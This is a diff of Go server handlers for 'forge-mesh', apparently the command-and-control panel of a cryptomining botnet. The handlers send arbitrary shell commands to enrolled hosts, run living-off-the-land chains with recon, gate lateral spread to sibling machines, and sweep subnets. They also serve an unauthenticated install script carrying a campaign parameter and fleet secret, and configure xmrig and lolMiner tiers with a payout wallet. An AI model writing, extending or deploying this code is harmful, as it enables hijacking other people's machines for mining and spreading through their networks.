|
||||
}
|
||||
if id == "" || strings.Contains(id, "/") {
|
||||
http.Error(w, "batch id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
job, ok := c.Crucible.Get(id)
|
||||
if !ok {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, job)
|
||||
}
|
||||
|
||||
func (c *CrucibleLegacy) Exec(w http.ResponseWriter, r *http.Request) {
|
||||
if err := fleet.CheckAction(c.OperatorClearance, fleet.ActionShell); err != nil {
|
||||
auth.JSON(w, http.StatusForbidden, map[string]any{"error": err.Error()})
|
||||
return
|
||||
}
|
||||
var req struct {
|
||||
HostID string `json:"host_id"`
|
||||
Command string `json:"command"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.HostID == "" || req.Command == "" {
|
||||
http.Error(w, "host_id and command required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
cmd, err := c.Hub.DispatchCommand(req.HostID, fleet.ActionShell, map[string]any{"command": req.Command})
|
||||
sent := err == nil
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"ok": sent, "host_id": req.HostID, "command": req.Command, "dispatch": cmd,
|
||||
})
|
||||
}
|
||||
101
internal/api/handlers/fleet.go
Normal file
101
internal/api/handlers/fleet.go
Normal file
@@ -0,0 +1,101 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"forge-mesh/internal/alerts"
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/fleet"
|
||||
)
|
||||
|
||||
// FleetHandler serves fleet REST endpoints.
|
||||
type FleetHandler struct {
|
||||
Store *fleet.Store
|
||||
Hub *fleet.Hub
|
||||
Alerts *alerts.Notifier
|
||||
Cfg *config.Config
|
||||
OperatorClearance int
|
||||
}
|
||||
|
||||
func (h *FleetHandler) List(w http.ResponseWriter, r *http.Request) {
|
||||
summary, err := h.Store.BuildFleetSummary()
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, summary)
|
||||
}
|
||||
|
||||
type registerRequest struct {
|
||||
Hostname string `json:"hostname"`
|
||||
Fingerprint string `json:"fingerprint"`
|
||||
Arch string `json:"arch"`
|
||||
}
|
||||
|
||||
func (h *FleetHandler) Register(w http.ResponseWriter, r *http.Request) {
|
||||
var req registerRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Hostname == "" {
|
||||
req.Hostname = "enrolled-host"
|
||||
}
|
||||
|
||||
host, err := h.Store.TouchHost(req.Hostname, req.Fingerprint, req.Arch)
|
||||
if err != nil {
|
||||
http.Error(w, "register failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"ok": true,
|
||||
"host_id": host.ID,
|
||||
"host": fleet.ToFleetCard(host),
|
||||
})
|
||||
}
|
||||
|
||||
func (h *FleetHandler) Command(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("id")
|
||||
if hostID == "" {
|
||||
http.Error(w, "host id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
var req struct {
|
||||
Action string `json:"action"`
|
||||
Args map[string]any `json:"args"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
action := strings.ToLower(req.Action)
|
||||
if err := fleet.CheckAction(h.OperatorClearance, action); err != nil {
|
||||
auth.JSON(w, http.StatusForbidden, map[string]any{
|
||||
"error": err.Error(),
|
||||
"required_clearance": fleet.RequiredClearanceOrZero(action),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
cmd, err := h.Hub.DispatchCommand(hostID, action, req.Args)
|
||||
if err != nil {
|
||||
http.Error(w, "dispatch failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
if h.Alerts != nil && h.Alerts.Enabled() {
|
||||
h.Alerts.Send(alerts.FleetEvent(action, hostID, fmt.Sprintf("cmd: `%s`", cmd.ID)))
|
||||
}
|
||||
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"ok": true,
|
||||
"command": cmd,
|
||||
})
|
||||
}
|
||||
84
internal/api/handlers/forge.go
Normal file
84
internal/api/handlers/forge.go
Normal file
@@ -0,0 +1,84 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/forge"
|
||||
)
|
||||
|
||||
// ForgeHandler manages build artifacts.
|
||||
type ForgeHandler struct {
|
||||
DB *sql.DB
|
||||
Pipeline *forge.Pipeline
|
||||
Version string
|
||||
}
|
||||
|
||||
func (h *ForgeHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
||||
rows, err := h.DB.Query(`
|
||||
SELECT id, os, arch, version, checksum, signature, public, created_at
|
||||
FROM builds ORDER BY created_at DESC LIMIT 50
|
||||
`)
|
||||
if err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type buildRow struct {
|
||||
ID string `json:"id"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Version string `json:"version"`
|
||||
Checksum string `json:"checksum"`
|
||||
Signature string `json:"signature,omitempty"`
|
||||
Public bool `json:"public"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
}
|
||||
|
||||
var builds []buildRow
|
||||
for rows.Next() {
|
||||
var b buildRow
|
||||
var sig sql.NullString
|
||||
var pub int
|
||||
if err := rows.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &sig, &pub, &b.CreatedAt); err != nil {
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
b.Public = pub == 1
|
||||
if sig.Valid {
|
||||
b.Signature = sig.String
|
||||
}
|
||||
builds = append(builds, b)
|
||||
}
|
||||
if builds == nil {
|
||||
builds = []buildRow{}
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]any{"builds": builds})
|
||||
}
|
||||
|
||||
func (h *ForgeHandler) TriggerBuild(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
Public bool `json:"public"`
|
||||
}
|
||||
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||
if !req.Public {
|
||||
req.Public = true
|
||||
}
|
||||
|
||||
builds, err := h.Pipeline.BuildAll(req.Public)
|
||||
if err != nil {
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"ok": false,
|
||||
"message": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"ok": true,
|
||||
"builds": builds,
|
||||
})
|
||||
}
|
||||
34
internal/api/handlers/health.go
Normal file
34
internal/api/handlers/health.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
type HealthResponse struct {
|
||||
Status string `json:"status"`
|
||||
Service string `json:"service"`
|
||||
Version string `json:"version"`
|
||||
Timestamp string `json:"timestamp"`
|
||||
}
|
||||
|
||||
// Health returns a basic liveness handler for GET /api/v1/health.
|
||||
func Health(version string) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodGet {
|
||||
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
|
||||
return
|
||||
}
|
||||
|
||||
resp := HealthResponse{
|
||||
Status: "ok",
|
||||
Service: "forge-mesh-server",
|
||||
Version: version,
|
||||
Timestamp: time.Now().UTC().Format(time.RFC3339),
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_ = json.NewEncoder(w).Encode(resp)
|
||||
}
|
||||
}
|
||||
29
internal/api/handlers/install_tmpl_test.go
Normal file
29
internal/api/handlers/install_tmpl_test.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
"text/template"
|
||||
)
|
||||
|
||||
func TestInstallTemplateExecute(t *testing.T) {
|
||||
root, _ := filepath.Abs(filepath.Join("..", "..", ".."))
|
||||
tmplPath := filepath.Join(root, "scripts", "install.sh.tpl")
|
||||
b, err := os.ReadFile(tmplPath)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
tmpl, err := template.New("install.sh").Parse(string(b))
|
||||
if err != nil {
|
||||
t.Fatalf("parse: %v", err)
|
||||
}
|
||||
data := installData{
|
||||
DeckURL: "http://localhost:8989", PublicKey: "abc", FleetSecret: "sec",
|
||||
}
|
||||
var buf bytes.Buffer
|
||||
if err := tmpl.Execute(&buf, data); err != nil {
|
||||
t.Fatalf("execute: %v", err)
|
||||
}
|
||||
}
|
||||
253
internal/api/handlers/intelligence.go
Normal file
253
internal/api/handlers/intelligence.go
Normal file
@@ -0,0 +1,253 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"strconv"
|
||||
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/court"
|
||||
"forge-mesh/internal/erasure"
|
||||
"forge-mesh/internal/fleet"
|
||||
)
|
||||
|
||||
// IntelligenceDeps bundles triple-onion fleet intelligence handlers.
|
||||
type IntelligenceDeps struct {
|
||||
Store *fleet.Store
|
||||
Subnet *fleet.SubnetMapper
|
||||
Earn *fleet.EarnGate
|
||||
}
|
||||
|
||||
// RunLOTL handles POST /api/v1/fleet/{id}/lotl/run — execute tier chain with recon.
|
||||
func RunLOTL(deps IntelligenceDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("id")
|
||||
if hostID == "" {
|
||||
http.Error(w, "host id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
strategy := fleet.AdaptiveStrategy{Store: deps.Store}
|
||||
order, err := strategy.OrderForHost(r.Context(), hostID)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
results, err := fleet.RunTierChain(r.Context(), deps.Store, hostID, order)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
auth.JSON(w, http.StatusOK, map[string]interface{}{
|
||||
"host_id": hostID,
|
||||
"order": order,
|
||||
"results": results,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// ListLOTL handles GET /api/v1/fleet/{id}/lotl.
|
||||
func ListLOTL(deps IntelligenceDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("id")
|
||||
attempts, err := deps.Store.ListLOTL(r.Context(), hostID, 100)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]interface{}{
|
||||
"host_id": hostID,
|
||||
"attempts": attempts,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// SpreadGate handles GET /api/v1/fleet/{id}/spread-gate (earn-before-burn).
|
||||
func SpreadGate(deps IntelligenceDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
hostID := r.PathValue("id")
|
||||
dec, err := deps.Earn.CanSpreadToSiblings(r.Context(), hostID)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, dec)
|
||||
}
|
||||
}
|
||||
|
||||
// SubnetList handles GET /api/v1/fleet/subnets.
|
||||
func SubnetList(deps IntelligenceDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
cidrs, err := deps.Subnet.ListCIDRs(r.Context())
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]interface{}{"cidrs": cidrs})
|
||||
}
|
||||
}
|
||||
|
||||
// SubnetAdd handles POST /api/v1/fleet/subnets.
|
||||
func SubnetAdd(deps IntelligenceDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
CIDR string `json:"cidr"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.CIDR == "" {
|
||||
http.Error(w, "cidr required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
c, err := deps.Subnet.AddCIDR(r.Context(), req.CIDR)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusCreated, c)
|
||||
}
|
||||
}
|
||||
|
||||
// SubnetSweep handles POST /api/v1/fleet/subnets/sweep.
|
||||
func SubnetSweep(deps IntelligenceDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
results, err := deps.Subnet.SweepAll(r.Context())
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]interface{}{"results": results})
|
||||
}
|
||||
}
|
||||
|
||||
// CourtDeps bundles court handler dependencies.
|
||||
type CourtDeps struct {
|
||||
Court *court.Court
|
||||
Seer *court.SeerHub
|
||||
}
|
||||
|
||||
// CourtOpen handles POST /api/v1/court/sessions.
|
||||
func CourtOpen(deps CourtDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
var req struct {
|
||||
HostID string `json:"host_id"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.HostID == "" {
|
||||
http.Error(w, "host_id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
s, err := deps.Court.OpenSession(r.Context(), req.HostID)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusCreated, s)
|
||||
}
|
||||
}
|
||||
|
||||
// CourtDeliberate handles POST /api/v1/court/sessions/{id}/deliberate.
|
||||
func CourtDeliberate(deps CourtDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
s, err := deps.Court.Deliberate(r.Context(), id)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, s)
|
||||
}
|
||||
}
|
||||
|
||||
// CourtVerdict handles POST /api/v1/court/sessions/{id}/verdict (L4).
|
||||
func CourtVerdict(deps CourtDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
var req struct {
|
||||
Verdict string `json:"verdict"`
|
||||
Clearance int `json:"clearance"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.Verdict == "" {
|
||||
http.Error(w, "verdict required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Clearance == 0 {
|
||||
req.Clearance = 4
|
||||
}
|
||||
if err := deps.Court.DispatchVerdict(r.Context(), id, req.Verdict, req.Clearance); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]string{"ok": "true", "verdict": req.Verdict})
|
||||
}
|
||||
}
|
||||
|
||||
// Timeline handles GET /api/v1/fleet/{id}/timeline (LOTL + court).
|
||||
func Timeline(deps CourtDeps) http.HandlerFunc {
|
||||
return court.TimelineHandler(deps.Court)
|
||||
}
|
||||
|
||||
// ErasureDeps bundles public erasure routes.
|
||||
type ErasureDeps struct {
|
||||
Service *erasure.Service
|
||||
}
|
||||
|
||||
// ErasureEncode handles POST /api/v1/public/erasure/encode (dev/admin via basic elsewhere).
|
||||
func ErasureEncode(deps ErasureDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
name := r.URL.Query().Get("name")
|
||||
if name == "" {
|
||||
name = "bundle"
|
||||
}
|
||||
data, err := io.ReadAll(io.LimitReader(r.Body, 16<<20))
|
||||
if err != nil {
|
||||
http.Error(w, "read error", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
b, err := deps.Service.Encode(r.Context(), name, data)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusCreated, b)
|
||||
}
|
||||
}
|
||||
|
||||
// ErasureShard handles GET /api/v1/public/erasure/{bundle_id}/shard/{index}.
|
||||
func ErasureShard(deps ErasureDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
bundleID := r.PathValue("bundle_id")
|
||||
idx, err := strconv.Atoi(r.PathValue("index"))
|
||||
if err != nil {
|
||||
http.Error(w, "invalid index", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
sh, err := deps.Service.GetShard(r.Context(), bundleID, idx)
|
||||
if err != nil {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("X-Shard-Index", strconv.Itoa(sh.ShardIndex))
|
||||
_, _ = w.Write(sh.Data)
|
||||
}
|
||||
}
|
||||
|
||||
// ErasureBundleMeta handles GET /api/v1/public/erasure/{bundle_id}.
|
||||
func ErasureBundleMeta(deps ErasureDeps) http.HandlerFunc {
|
||||
return func(w http.ResponseWriter, r *http.Request) {
|
||||
bundleID := r.PathValue("bundle_id")
|
||||
b, err := deps.Service.GetBundle(r.Context(), bundleID)
|
||||
if err != nil {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
indices, _ := deps.Service.ListShards(r.Context(), bundleID)
|
||||
auth.JSON(w, http.StatusOK, map[string]interface{}{
|
||||
"bundle": b,
|
||||
"shards": indices,
|
||||
"public": true,
|
||||
"scheme": "RS_4_2",
|
||||
})
|
||||
}
|
||||
}
|
||||
138
internal/api/handlers/public.go
Normal file
138
internal/api/handlers/public.go
Normal file
@@ -0,0 +1,138 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"text/template"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"forge-mesh/internal/forge"
|
||||
)
|
||||
|
||||
// PublicHandlers serves unauthenticated summon routes.
|
||||
type PublicHandlers struct {
|
||||
DB *sql.DB
|
||||
ArtifactsDir string
|
||||
PublicKeyHex string
|
||||
FleetSecret string
|
||||
Version string
|
||||
InstallTmpl *template.Template
|
||||
DeckURL func(r *http.Request) string
|
||||
}
|
||||
|
||||
type installData struct {
|
||||
DeckURL string
|
||||
PublicKey string
|
||||
FleetSecret string
|
||||
Pin string
|
||||
Campaign string
|
||||
}
|
||||
|
||||
func NewPublicHandlers(db *sql.DB, artifactsDir, publicKeyHex string, installTmplPath string) (*PublicHandlers, error) {
|
||||
tmplBytes, err := os.ReadFile(installTmplPath)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read install template: %w", err)
|
||||
}
|
||||
|
||||
tmpl, err := template.New("install.sh").Parse(string(tmplBytes))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parse install template: %w", err)
|
||||
}
|
||||
|
||||
return &PublicHandlers{
|
||||
DB: db,
|
||||
ArtifactsDir: artifactsDir,
|
||||
PublicKeyHex: publicKeyHex,
|
||||
InstallTmpl: tmpl,
|
||||
DeckURL: func(r *http.Request) string {
|
||||
scheme := "http"
|
||||
if r.TLS != nil || r.Header.Get("X-Forwarded-Proto") == "https" {
|
||||
scheme = "https"
|
||||
}
|
||||
return fmt.Sprintf("%s://%s", scheme, r.Host)
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (h *PublicHandlers) InstallSh(w http.ResponseWriter, r *http.Request) {
|
||||
data := installData{
|
||||
DeckURL: h.DeckURL(r),
|
||||
PublicKey: h.PublicKeyHex,
|
||||
FleetSecret: h.FleetSecret,
|
||||
Pin: r.URL.Query().Get("pin"),
|
||||
Campaign: r.URL.Query().Get("c"),
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
if err := h.InstallTmpl.Execute(&buf, data); err != nil {
|
||||
http.Error(w, "template error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "text/x-shellscript; charset=utf-8")
|
||||
w.Write(buf.Bytes())
|
||||
}
|
||||
|
||||
func (h *PublicHandlers) GetRedirect(w http.ResponseWriter, r *http.Request) {
|
||||
target := "/install.sh"
|
||||
if q := r.URL.RawQuery; q != "" {
|
||||
target += "?" + q
|
||||
}
|
||||
http.Redirect(w, r, target, http.StatusFound)
|
||||
}
|
||||
|
||||
func (h *PublicHandlers) LatestBuild(w http.ResponseWriter, r *http.Request) {
|
||||
osName := r.URL.Query().Get("os")
|
||||
arch := r.URL.Query().Get("arch")
|
||||
if osName == "" {
|
||||
osName = "linux"
|
||||
}
|
||||
if arch == "" {
|
||||
arch = "amd64"
|
||||
}
|
||||
|
||||
build, err := forge.LatestPublic(h.DB, osName, arch)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
http.Error(w, "no public build", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
http.Error(w, "internal error", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
fmt.Fprintf(w, `{"id":%q,"os":%q,"arch":%q,"version":%q,"checksum":%q,"signature":%q,"download_url":"/api/v1/public/download/%s"}`,
|
||||
build.ID, build.OS, build.Arch, build.Version, build.Checksum, build.Signature, build.ID)
|
||||
}
|
||||
|
||||
func (h *PublicHandlers) Download(w http.ResponseWriter, r *http.Request) {
|
||||
id := r.PathValue("id")
|
||||
if strings.Contains(id, "..") {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
build, err := forge.GetBuild(h.DB, id)
|
||||
if err != nil {
|
||||
http.Error(w, "not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
if !build.Public {
|
||||
http.Error(w, "forbidden", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
if build.Path == "" {
|
||||
http.Error(w, "artifact missing", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "application/octet-stream")
|
||||
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="forge-mesh-agent-%s-%s"`, build.OS, build.Arch))
|
||||
if err := forge.CopyArtifact(build.Path, w); err != nil {
|
||||
http.Error(w, "read error", http.StatusInternalServerError)
|
||||
}
|
||||
}
|
||||
174
internal/api/handlers/seer.go
Normal file
174
internal/api/handlers/seer.go
Normal file
@@ -0,0 +1,174 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"forge-mesh/internal/auth"
|
||||
"forge-mesh/internal/config"
|
||||
"forge-mesh/internal/fleet"
|
||||
)
|
||||
|
||||
// SeerHandler streams court/LOTL events via SSE.
|
||||
type SeerHandler struct {
|
||||
Store *fleet.Store
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
func (h *SeerHandler) Stream(w http.ResponseWriter, r *http.Request) {
|
||||
if !h.authenticated(r) {
|
||||
http.Error(w, "unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
|
||||
flusher, ok := w.(http.Flusher)
|
||||
if !ok {
|
||||
http.Error(w, "streaming unsupported", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
w.Header().Set("Content-Type", "text/event-stream")
|
||||
w.Header().Set("Cache-Control", "no-cache")
|
||||
w.Header().Set("Connection", "keep-alive")
|
||||
|
||||
events, _ := h.Store.ListSeerEvents(20)
|
||||
for _, ev := range events {
|
||||
payload, _ := json.Marshal(ev)
|
||||
fmt.Fprintf(w, "data: %s\n\n", payload)
|
||||
}
|
||||
flusher.Flush()
|
||||
|
||||
ticker := time.NewTicker(5 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-r.Context().Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
events, err := h.Store.ListSeerEvents(5)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, ev := range events {
|
||||
payload, _ := json.Marshal(ev)
|
||||
fmt.Fprintf(w, "data: %s\n\n", payload)
|
||||
flusher.Flush()
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *SeerHandler) authenticated(r *http.Request) bool {
|
||||
if user, pass, ok := r.BasicAuth(); ok {
|
||||
return user == h.Username && pass == h.Password
|
||||
}
|
||||
if authHeader := r.URL.Query().Get("authorization"); authHeader != "" {
|
||||
raw := strings.TrimPrefix(authHeader, "Basic ")
|
||||
decoded, err := base64.StdEncoding.DecodeString(raw)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
parts := strings.SplitN(string(decoded), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
return false
|
||||
}
|
||||
return parts[0] == h.Username && parts[1] == h.Password
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// WSTicketHandler issues one-time WebSocket tickets.
|
||||
type WSTicketHandler struct {
|
||||
Tickets *auth.TicketStore
|
||||
}
|
||||
|
||||
func (h *WSTicketHandler) Issue(w http.ResponseWriter, r *http.Request) {
|
||||
ticket, err := h.Tickets.Issue()
|
||||
if err != nil || ticket == "" {
|
||||
http.Error(w, "ticket issue failed", http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, map[string]string{"ticket": ticket})
|
||||
}
|
||||
|
||||
// OperatorHandler returns operator clearance info.
|
||||
type OperatorHandler struct {
|
||||
Clearance int
|
||||
}
|
||||
|
||||
func (h *OperatorHandler) Me(w http.ResponseWriter, r *http.Request) {
|
||||
auth.JSON(w, http.StatusOK, map[string]any{
|
||||
"clearance_level": h.Clearance,
|
||||
"label": fleet.ClearanceLabel(h.Clearance),
|
||||
})
|
||||
}
|
||||
|
||||
// PolicyHandler serves wallet and mining profile endpoints.
|
||||
type PolicyHandler struct {
|
||||
Cfg *config.Config
|
||||
Store *fleet.Store
|
||||
}
|
||||
|
||||
func (h *PolicyHandler) GetWallet(w http.ResponseWriter, r *http.Request) {
|
||||
auth.JSON(w, http.StatusOK, h.Cfg.WalletPolicy)
|
||||
}
|
||||
|
||||
func (h *PolicyHandler) PutWallet(w http.ResponseWriter, r *http.Request) {
|
||||
var wp config.WalletPolicy
|
||||
if err := json.NewDecoder(r.Body).Decode(&wp); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if wp.DefaultWallet != "" {
|
||||
h.Cfg.WalletPolicy.DefaultWallet = wp.DefaultWallet
|
||||
}
|
||||
if wp.Currency != "" {
|
||||
h.Cfg.WalletPolicy.Currency = wp.Currency
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, h.Cfg.WalletPolicy)
|
||||
}
|
||||
|
||||
func (h *PolicyHandler) GetMiningProfile(w http.ResponseWriter, r *http.Request) {
|
||||
auth.JSON(w, http.StatusOK, defaultMiningProfile(h.Cfg))
|
||||
}
|
||||
|
||||
func (h *PolicyHandler) PutMiningProfile(w http.ResponseWriter, r *http.Request) {
|
||||
var profile miningProfileRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&profile); err != nil {
|
||||
http.Error(w, "bad request", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if profile.WalletAddress != "" {
|
||||
h.Cfg.WalletPolicy.DefaultWallet = profile.WalletAddress
|
||||
}
|
||||
auth.JSON(w, http.StatusOK, profile)
|
||||
}
|
||||
|
||||
type miningProfileRequest struct {
|
||||
WalletAddress string `json:"wallet_address"`
|
||||
Tiers []tierEntry `json:"tiers"`
|
||||
}
|
||||
|
||||
type tierEntry struct {
|
||||
Tier int `json:"tier"`
|
||||
Name string `json:"name"`
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
|
||||
func defaultMiningProfile(cfg *config.Config) miningProfileRequest {
|
||||
return miningProfileRequest{
|
||||
WalletAddress: cfg.WalletPolicy.DefaultWallet,
|
||||
Tiers: []tierEntry{
|
||||
{Tier: 1, Name: "OCI podman", Enabled: true},
|
||||
{Tier: 2, Name: "Bundled xmrig", Enabled: true},
|
||||
{Tier: 3, Name: "GPU lolMiner", Enabled: true},
|
||||
{Tier: 4, Name: "Stratum-direct fallback", Enabled: false},
|
||||
},
|
||||
}
|
||||
}
|
||||
